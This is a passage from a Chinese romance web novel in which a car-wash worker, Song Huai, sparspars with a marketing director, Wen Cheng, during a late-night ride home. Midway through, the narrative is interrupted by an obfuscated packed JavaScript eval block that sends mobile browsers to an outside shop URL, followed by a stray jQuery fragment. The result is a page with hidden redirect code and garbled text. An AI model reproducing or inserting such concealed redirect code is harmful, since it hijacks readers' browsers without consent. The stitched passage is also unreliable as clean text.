酒精总赋予人别样的情绪，放大镜一样让言行举止更为夸张。
她想起槐林县那间麻将馆，每天噼里啪啦的声响中混杂烟酒，男人们又偏偏选茅台，买不起真的，就喝几百一杯的假酒撑场面，那味道浓烈刺鼻，像臭水沟淤泥中捞上来的，也像冰箱断电后，腐烂在里面的萝卜白菜。
不过下一秒，他邀请她上车。
“十一点了，好心送你一趟，”他偏头示意，银光乍泄铺陈车门，线条感衬托那分明腕骨，“上。”
话说的特别简短。
宋槐没过多诧异，平淡的从前绕到副驾，经过车牌还看了眼，蓝底白字的海A。
温诚视线追随着，看她还真就脸不红心不跳的朝副驾走来了。
她开门侧身坐进去，找了半天才系好安全带，手机塞裤子口袋里，看温诚悠哉的坐着，只有一点淡淡的酒味，倒是不难闻。
“开化区？”
“嗯，就是洗车店那条辅路。”
“辅路边有小区么？”
“我打车也不会让司机直接送到目的地。”
宋槐是这么解释的。
她不想多嘴，说自己留宿于季鹏飞那家火锅店的沙发角落，是为在高消费的城市中省点钱，她什么地方都睡过，之前槐林二中的宿舍硬板床，其他同学都铺床褥，就她两层薄床单。家楼道的台阶，潮湿阴冷满地烟头，邻居家的伸缩弹簧床，稍微翻身就咯吱作响。
再多的秘密藏于心底，绝不可能让外人看见，世界上坏人太多了，尤其是开车的这位。
在望海生活有两三年，温诚熟悉这里的每一条街巷，并不记得那条辅路边上有什么小区，但他没问，直接踩油门驾驶。
车披拂夜色穿梭马路间，最终还是耐不住，“你的意思是，怕我记住你地址？然后违法乱纪？”
“安全常识。”
他单手抻着方向盘，不禁笑出声，“风险防范意识？”
“防范男人意识，而且你在酒驾，你已经开始乱纪了。”
“...告诉你，我没喝酒。”
宋槐没接话。
看看，这就开始扣帽子了。
他不明白她什么立场，大脑表面皱纹多少条，下一秒还会蹦出哪句歪理邪说，他也可以感受出自己正在被嫌弃，被防范，被当作坏男人。
“我很像有前科的人？你见过有前科的么？就在这猜，很冒昧。”
温诚没想到她会说，“见过。”眉毛一挑，又告诉她，“那也别一杆子打死所有人。”
“是，防人之心不可无，尤其对陌生的...”男人，宋槐没说后两个字。
到此两人瞬间无话。
温诚从不酒后驾驶，开车向来很稳，首次被人误会揪小辫子还说成违法乱纪，这感觉很不好受，她有病没病？凭什么造谣一张嘴。
汽车匀速行驶，窗边绿化带树木飞速倒退，路灯光影挨个从他们脸上略过，望海树木虬劲，树干挺拔，枝干盘曲有力极具生命性。温诚再扫视一下宋槐，注意到那条胳膊类似于冬天枯黄的枝叶，尤其她皮肤白，更凸显手腕青色动脉，像叶片细小的经络。
“你不是本地人。”陈述句。
“重要么？”宋槐终于做了疑惑的面部微表情，转头看他一眼。
“闲聊，随口一问而已，我觉得，你适合西伯利亚，局部地区属于寒带苔原气候，最冷零下七十度，知道为什么？因为你这个人就冷，不好相处，生活中没人愿意和你做朋友，想要有好人缘，你得改改你那性格。”
“为什么。”她问。
宋槐有个毛病，就是别人一数落她，挑她毛病，手心就会冒冷汗，现在也一样。
“我的建议，当然了，你也可以不接纳。”
“谢谢，不接纳，”她指尖捏紧安全带，掌心全是汗，“请靠边停一下我想下车。”
“看标识，这段路不让停，我得遵守。”
宋槐不理他，但所有目光全落在他脸上，他坐姿懒散闲适，夜风吹拂浓密黑发，发梢微动，一团团夜灯在他脸上短暂停留，再急速闪过，衬托得五官沟壑深沉。
所以男人不能空有一副好皮囊。
“我对西伯利亚没兴趣。”
真的没兴趣吗？其实不是的，但宋槐明白她这辈子不会出国，更不会有任何起色了，事实上在两年后的冬天，宋槐去西伯利亚出差，只不过和另一个男人一起。
“嗯，好，没兴趣，”温诚含糊敷衍她，“还有你妹，她才四岁，让孩子树立正确价值观吧，你在教育她性别对立。”
他认为这话完全不过分，谁知道她开始上纲上线了，“我不会让她从小憧憬童话，里面的爱情很畸形，我不想让她被男人骗，谢谢。”
温诚纯粹被那句末的‘谢谢’逗笑了，“你谢我有什么用，这种语重心长的话对你妹说去，我没那个义务受罪，”恰逢绿灯变黄，所幸放缓车速，安稳停在白线后，“反正爱情畸形，我营销爱情等于我也畸形，你这张嘴说话难听，你情商低，也难怪你活了二十几年没什么起色。”
宋槐脸色很难看。她知道他的职业。
名片上写过，卡片布局简约，白纸黑字，每个笔画都有行业含金量，照片中他五官深邃，眉眼清俊舒朗，整个人有种被钱浸泡的腔调，还有那种高高在上的眼神。
他叫温诚，温柔的温，诚信的诚，他的父母应该希望自己孩子占据这二字优点，但很可惜，一个都没具备。他酒后说脏话，张口就贬低人，所以她不想多看一眼，撕碎了扔垃圾桶中。
宋槐问，“所以你要表达什么。”
“只是告诉你，你那种观点活的没意思。”
“要和我辩论么？”她问。
温诚看了她一眼，“？”
“我不喜欢和陌生人吵架。”
再次安静。
“上次你提到的幼儿园，我考虑过，也许会帮你挣个提成。”
“你说什么？”
“......”她看温诚不友善的表情，还补上一句，“不是么？”
“哪儿来的提成，你看我缺那点儿钱么？”
说来也有点儿辉煌在里面。
温诚告诉她，
公司每年的助学计划，是帮每个五到十二岁的义务教育阶段儿童有书可读，享受公司补贴，接受良好教育，形成社会风气，那么既然要公司拨款，负责项目的员工自然一分钱都没有，省出的钱放公益里，计划持续五年之久，他接手了三年，从他手里入学的孩子大几千个，
正当他觉得自己功德不浅时，突然看见宋槐那张无动于衷的冷脸，瞬间没热情了，“有在听么你？”
“有，谢谢。”
“后续关于大事小情，”温诚懒得和她解释更多，视线从她身上扫过，“零碎的东西我不想多说，你决定好来问，或者直接打名片电话。”
“麻烦再给我一张吧。”
温诚面露疑惑，看向她那双理直气壮的眼睛，“扔了？”
“不好意思。”
“...”
温诚眉目变得凌厉。
他讨厌乱扔名片的行为，本来对她的聆听还有所改观，但那点谅解统统撤回，“名片我给到孩子手里了，谁让你乱扔的，会不会尊重人。”
“当时觉得很没用，我真以为你要加业绩，”宋槐也没藏着掖着，“就像我洗车一样，用水枪和药剂洗，每次能多赚几十块钱。”
“你朋友就是这么介绍你来的。”她又说。
“乔潭立？”
“对。”
“你买汽配洗车，他享五折优惠。”
温诚手指捏了捏方向盘，声线清朗略有调侃的笑，“你们真是，一唱一和。”
宋槐发现那语气很随意，似乎多花大几千稀松平常，那他一定不会理解，每次多赚几十块钱的含金量，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054580|149140||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
因为那张名片，因为总监，因为生活圈层。
她记得阿金招来不少有钱车主，他们一进来就挥霍大手笔，仿佛不在乎数字后三四个零。她也跟着见识不少汽车，能认出宝马，奥迪，别克这些大众化高价车。
目光齐齐落在挡风玻璃上，温诚烧包的多问了句，“给别人擦车也用报纸？”
“看情况吧，麻烦你开快点，谢谢，我明天还要工作，全年无休。”
宋槐没工夫和他掰扯，她有自己的人生，没必要牵连无关紧要的人，钻戒营销她不怎么懂，但想来也很赚钱，出于好奇她搜了他们公司产品，昂贵的她不敢多看，大几万，好几十万，上百万的比比皆是。
路灯莹白明亮，温诚眼风扫过很多次，也没发现她眼底的惊讶，永远平淡无波的一张脸，能有什么显山露水的情绪呢？而他若有所思的样子却被揭穿，宋槐问，“有什么问题？”
“其实从上星期见面，我问题还不算少。”
“什么。”
明镇辅路到达，温诚让车在路边缓慢停稳，柳树枝条垂在玻璃上，“我很好奇，你为什么要洗车。”
“为了钱，”宋槐解开安全带，正对旁边那道目光，光线在他脸上切割，只能看到眉目与下颌，“和你为什么做总监一样。”
“你老家在哪里的。”温诚对声音敏感，他早听出来了，因为她那口普通话说的很刻意，字正腔圆的，真难听。
“不是本地。”
“你经济困难？总穿一件儿衣服，大夏天不恶心么？”
“干嘛问这么多。”
“好奇，”他说到这儿顿了顿，嘴角勾起好看的弧度，“没恶意。”
“收收你的好奇心。”宋槐说，
下一秒，宋槐拉开车门，右脚已经踏实踩上地面，“不要再问了我也不想和你辩论，好幼稚，我不是你的客户，不需要被你开发，你好奇心别那么旺盛。谢谢你送我回家，但还要好心告诉你，别喝酒开车，这条路有查酒驾的，被抓到吊销驾驶证，拘留罚款。”
话里是带着情绪，抵触的，羞恼的，反感的，她反感被人盘问，隐私如同被麻袋抖落出去，像一只虫子，被人抡圆捏扁。
向来面无表情的人终于露出点窘迫与软肋，还有些掩饰的羞恼。温诚抬手按开内饰灯，看光堪堪洒在她脸上，赫然发出笑声，不遮掩，很短促，“宋槐，你这张嘴，真讨厌，会不会说好听话。”
“再见！”
宋槐刚转身，就听到身后的声音，“其他车主你也这么对待？”
“你可以去4S店，”她半个身体在车座椅上，“那边擦玻璃会用海绵的。”
还记仇呢，温诚把灯关了，笑的特无语。
她言外之意是您滚蛋吧，我们车多钱多，不缺你一个。
随后下车，砰一声关门，给温诚留下背影，在寂静夏夜作铺陈中，灯光勾勒瘦削身形，那白光兜头而罩，影子在光源处不断延伸，万绿丛中一抹白，也可作寂夜中的孤点。
直到几秒后，宋槐突然转身，快步朝那辆车原路返回，站在副驾驶门外，隔着车玻璃与温诚对视，她从口袋里掏出一包心相印湿巾，敲敲车窗，等窗徐徐降落，温诚问，“你回来干什么。”
“给你擦车。”
宋槐拉开车门，抽出三张纸，将她刚才碰过的地方仔细擦拭，“我没钱付车费，但不想欠你的，只能擦车代偿，谢谢。”
利索干完活，宋槐把车门一关，没看他一眼，继续往前走。
温诚倒是挺意外，侧首目送她走远，握着方向盘的手打着节拍，眉梢微挑嘴角勾出不明显的弧度。
很多年以后了，这个背影他永远不会忘，尽管那年他打算彻底将宋槐从灵魂中剔除，尽管他们之间发生了这样那样的事情，尽管他后悔了，后悔为什么没在那个初春雨夜抱抱她...
但此刻的温诚只会嗤笑一声，他凭什么跟洗车妹过不去。